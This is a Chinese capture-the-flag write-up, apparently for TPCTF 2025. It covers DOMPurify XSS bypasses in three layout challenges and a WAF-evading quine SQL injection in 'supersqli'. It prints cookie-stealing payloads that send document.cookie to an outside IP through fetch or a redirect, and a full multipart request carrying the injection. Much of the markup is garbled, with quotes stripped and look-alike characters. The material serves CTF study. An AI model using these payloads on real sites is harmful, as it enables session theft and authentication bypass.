网站制作现在赚钱么,大数据精准获客平台,提升访问境外网站速度,wordpress 主题开发文章目录 baby layoutsafe layoutSafe Layout Revengesupersqli baby layout
在index.js文件中#xff0c;看到了有使用DOMPurify库来防止XSS操作 在package.json里可以看到版本是3.2.4,关于3.2.3是有绕过策略的。它会把script标签清除掉#xff0c;去看bot可以看到flag是放… 文章目录 baby layoutsafe layoutSafe Layout Revengesupersqli baby layout
在index.js文件中看到了有使用DOMPurify库来防止XSS操作 在package.json里可以看到版本是3.2.4,关于3.2.3是有绕过策略的。它会把script标签清除掉去看bot可以看到flag是放到cookie里的 await context.setCookie({name: FLAG,value: FLAG,domain: APP_HOST,httpOnly: false,sameSite: Strict,});httponly被设置为false所以是可以用js脚本获取的打xss最好用的一般就是image标签
img srca onerroralert(1)create new layout发现可行接着create new post发现成功被解析成图标。layout是布局模板需要包含占位符{{content}},post的内容过滤之后会渲染到模板里。那么到这里我们需要做一件事情就是把完整的内容传进最终的body里我们如果全传到layout或者全传到post传不进去但如果分开传呢这就有了一个天才的想法 layout:img srca {{content}} 接下来在post里发我们要的执行代码 οnerrοralert(1) 接下来要做的事情就更简单了想办法把引号闭合了即可 οnerrοralert(1)// 说明代码成功执行接下来用fetch函数拿Cookie发到自己服务器即可
onerrorfetch(http://[ip]:2333/document.cookie)//最后记得让bot访问构造好的页面
safe layout
先看看这道题比上一道题多了什么
html标签的属性被过滤了但是data-* 和 aria-* 类的属性不会被过滤 发现web里有两个ejs文件打开看一下是渲染页面用的没什么信息
探索DOMPurify库 同时onload也是默认可用的 svg data-type“{{content}}”/svg test οnlοadlocation.href“http://ip:3389?flag”document.cookie src 复现环境没有bot试着可以弹窗就说明成功了
meta http-equivrefresh content0; urlhttp://47.108.229.212:3389?bot_was_here
Safe Layout Revenge
越来越有意思了data和aria也被禁了
const sanitizedContent DOMPurify.sanitize(content, {ALLOWED_ATTR: [],ALLOW_ARIA_ATTR: false,ALLOW_DATA_ATTR: false,});其实在上一篇文章里有绕过策略整体思路是采用 style 绕过测试发现当 style 标签前面跟上一些字符时style 内部的元素可能会得以保留故这里采用的是删除策略把 xss 的 payload 构造好后把 script 标签插入 content在第二次 post 的时候删除就行
{ layout: sstyle{{content}}/style{{content}}img srca onerroralert()/style }{ content: }弹窗成功后接下来用fetch带出信息
supersqli
进来看到很多python文件逐个看看 在views.py中看到拿到flag的逻辑要求传入username和password根据传入的数据去查询如果查询到的密码跟自己设置的密码一样那就给出flag
def flag(request:HttpRequest):if request.method ! POST:return HttpResponse(Welcome to TPCTF 2025)username request.POST.get(username)if username ! admin:return HttpResponse(you are not admin.)password request.POST.get(password)users:AdminUser AdminUser.objects.raw(SELECT * FROM blog_adminuser WHERE username%s and password %s % (username,password))try:assert password users[0].passwordreturn HttpResponse(os.environ.get(FLAG))except:return HttpResponse(wrong password)
在urls.py中看到应该是要去/flag提交数据 urlpatterns [path(flag/, views.flag, nameflag),path(, views.index, nameindex),
]
去到waf里看看过滤
var sqlInjectionPattern regexp.MustCompile((?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\stable|--|#|\*\/|\/\*))var rcePattern regexp.MustCompile((?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.\)))var hotfixPattern regexp.MustCompile((?i)(select))从单纯语句绕过显然是绕不过去了去看下面这篇文章 bypass form-data最初诞生于文件上传但是也可以用来传递参数那么我们就可以利用这一特性让后端检测以为我们是在上传文件实则是传递参数构造攻击语句适用于一些劣质waf 至于密码相等这一环节则使用quine攻击 sql注入新特性
POST /flag HTTP/1.1
Host: 127.0.0.1:70
Cache-Control: max-age0
sec-ch-ua: Not/A)Brand;v8, Chromium;v126
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: Windows
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundarya
Content-Length: 518--a
Content-Disposition: form-data; nameusername;filenamepic.png
Content-Disposition: form-data; nameusernameadmin
--a
Content-Disposition: form-data; namepassword;filenamepic.png
Content-Disposition: form-data; namepassword union SELECT 1,2,REPLACE(REPLACE( union SELECT 1,2,REPLACE(REPLACE(.,CHAR(34),CHAR(39)),CHAR(46),.) AS weljoni--,CHAR(34),CHAR(39)),CHAR(46), union SELECT 1,2,REPLACE(REPLACE(.,CHAR(34),CHAR(39)),CHAR(46),.) AS weljoni--) AS weljoni--
--a--
可惜本地复现时显示301可能给出的源码里有点问题
def quine(data, debugTrue):if debug: print datadata data.replace($$,REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$))blob data.replace($$,$).replace(,)data data.replace($$,blob)if debug: print datareturn datadata quine( UNION SELECT $$ AS id,MD5(CHAR(122)) AS pw-- )
data quine( UNION SELECT MD5($$)#)